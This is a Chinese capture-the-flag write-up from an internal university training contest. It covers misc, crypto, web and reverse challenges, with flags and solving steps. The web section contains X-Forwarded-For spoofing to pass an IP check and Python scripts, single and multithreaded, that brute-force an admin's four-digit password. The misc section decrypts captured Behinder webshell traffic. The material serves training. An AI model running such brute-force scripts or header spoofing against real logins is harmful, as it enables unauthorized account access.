某高校国庆培训内部赛writeup by 王八七七

介绍

开始时间

09:00:00, October 04, 2023

结束时间

16:00:00, October 04, 2023

解出情况 AK

最终排名 Rank1

目录



misc

ELF

1.使用strings工具一把梭找到flag

Flag:MaoCTF{ELF_In_The_Linux}

污损的密码本

1.根据题目提示可以生成相对应的密码本进行暴力破解,密码本生成脚本如下

import string

def generate_passwords():
    passwords = []
    for i in range(36**4):  # 36^4种可能性
        password = "6567"
        base36 = string.digits + string.ascii_lowercase  # 数字和小写字母
        for j in range(4):
            digit = i % 36  # 取余数
            password += base36[digit]
            i = i // 36  # 整除
        password += "fer!"
        passwords.append(password)
    return passwords

passwords_list = generate_passwords()

with open("pass.txt", "w") as file:
    for password in passwords_list:
        file.write(password + "\n")

2.生成密码本后使用工具进行暴力破解得到压缩包的密码

密码为656789ctfer!

3.解压后得到flag文件

Flag:MaoCTF{f60a2644-f194-806c-d211-1edafb9e5a43}

伪加密

1.将压缩包文件放入16进制编辑器进行分析,发现全局加密位为0900

2.将全局加密位中的0900改为0000后,压缩包加密消失

修改后密码锁消失

3.得到flag文件,并查看最终flag

Flag:flag{Adm1N-B2G-kU-SZIP}

简单流量

1.打开wireshark流量包,随便对一个包实现追踪流得到flag

Flag:MaoCTF{385b87afc8671dee07550290d16a8071}

QR

1.直接扫码得到flag

欢迎欢迎!!!

Flag:Flag{878865ce73370a4ce607d21ca01b5e59}

webshell流量

2023台州市网络安全大赛原题直接同种姿势分析!!!!!
1. 通过wireshark流量分析 ,分 析为冰蝎 shell 的 流 量 ,并固定了 aes128 的
key144a6b2296333602

2.逐一进行 tcp 数据流分析,已知 aes128 的 key和密文,对提交值进行 aes 解密

3.发现解密结果为base64,再次进行base64解密

可恶的套娃

4.发现这里使用 tar+openssl 组合拳对压缩包进行加盐,使用命令openssl des3 -d -k password -salt -in flag.tar.gz | tar xzf - 进行解密得到正确的压缩包文件,打开文件后发现为aes-emoji加密

5.密码为 th1sisKey,得到 flag

Flag:DASCTF{342bffc5e8e16f0cc83bbd298efe803e}

crypto

ez_caesar

1.base64解码后得到凯撒加密的密文

2.凯撒密码爆破得到flag

Flag:NSSCTF{youhaveknowcaesar}

ez_md5

1.md5破解后得到flag

Flag:MaoCTF{md5yyds}

A_CRYPTO

1.16进制字母位移,将n到r的顺序改变为a到f的顺序即可

4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35
转换后


4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35

2.base全家桶解密得到

base16

KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5

base32

V143Pytkc2lAYlV3SlRmVXQ9X0dVdmd6KEYpP3t4V29+MElXSER9TUEkPA==

base64

W^7?+dsi@bUwJTfUt=_GUvgz(F)?{xWo~0IWHD}MA$<

base85(换表后修改字母表)

Flag:flag{W0w_y0u_c4n_rea11y_enc0d1ng!}

PigPig

1.猪圈密码根据对照表即可得到flag

对照表如下

Flag:MaoCTF{WHENTHEPIGWANTTOEAT}

密码签到

1.base64解密得到flag

Flag:flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

Is this only base?

1.使用栅栏解密进行破译密文

2.进行base64解密后使用凯撒解密

3.得到flag

Flag:LitCTF{LeT_Us_H4V3_fU0!!!!!}

web

F12222

1.使用curl命令打印出flag

Flag:flag{c8f228c9-757d-4d66-b49a-5333f977a4a1}

伪造内网IP

1.我们通过抓包获得HTTP请求头部的信息,发现请求头中并没有XFF的信息,于是就在末尾加上了XFF

X-Forwarded-For:127.0.0.1

Flag:flag{a8557eb0-42a6-4f21-ae0a-fb5d6a96e515}

爆破爆破

1.点开是一个简单的登陆页面
   网页源代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
</head>
<body>
<form method="get">
    <p>Username: <input type="text" name="username" /></p>
    <p>Password: <input type="password" name="password" /></p>
    <input type="submit" value="Submit" />
</form>
</body>
</html>

2.尝试输入看看错误回显

3.用户名和密码分别报错,因此可以确定用户名后爆破

4.猜测用户名点击Submit得到回显

5.于是编写脚本进行爆破

import requests

if __name__ == '__main__':
/*是四位数字,就从1000到9999依次遍历*/
    for i in range(1000, 9999):
        print("破解到:"+str(i))
        ret = requests.get("http://8.130.35.155:31853/?username=admin&password=" + str(i)).text
        if ret != "密码错误,为四位数字。":
            print(ret)
            print("密码为:" + str(i))
            break

研发了多线程版

import requests
import threading

password_found = False  # 标记是否找到密码
lock = threading.Lock()  # 创建线程锁

def crack_password(start, end):
    global password_found
    
    for i in range(start, end):
        if not password_found:  # 检查是否已经找到密码
            print("破解到:" + str(i))
            ret = requests.get("http://8.130.35.155:31853/?username=admin&password=" + str(i)).text
            if ret != "密码错误,为四位数字。":
                with lock:
                    if not password_found:  # 再次检查是否已经找到密码(其他线程可能已经找到)
                        password_found = True
                        print(ret)
                        print("密码为:" + str(i))

if __name__ == '__main__':
    threads = []
    thread_num = 10  # 设置线程数量
    
    step = int((9999 - 1000) / thread_num)  # 计算每个线程处理的范围
    for i in range(thread_num):
        start = 1000 + i * step
        end = start + step
        if i == thread_num - 1:  # 最后一个线程负责处理剩余部分
            end = 9999
        t = threading.Thread(target=crack_password, args=(start, end))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

6.得到flag

Flag:lag{917de8e0-2c97-4801-96c4-4c4e69487577}

reverse

easy_Re

1.打开IDA后即可看到flag

Flag:Flag{welc0me_to_rev3rse!!}

ELF

1.打开main函数

2.两个加密,将第一个加密异或加上16

第二个加密

3.使用base64解码得到

Flag:flag{D0_4ou_7now_wha7_ELF_1s?}

upx

1.打开main函数每个加一

Flag:flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}

segment

1.IDA反编译程序

2.提示按shift+f7,即可发现flag字眼

Flag:flag{You_ar3_g0od_at_f1nding_ELF_segments_name}

xor

1.打开main函数,简单异或,然后小端序转为字符串

运行后得到flag{llittl_Endian_a

Flag:flag{llittl_Endian_a}

感谢战胜学长和李峥老师以及其他老师在国庆期间仍然为我们进行培训!!!辛苦啦!!!

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王八七七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值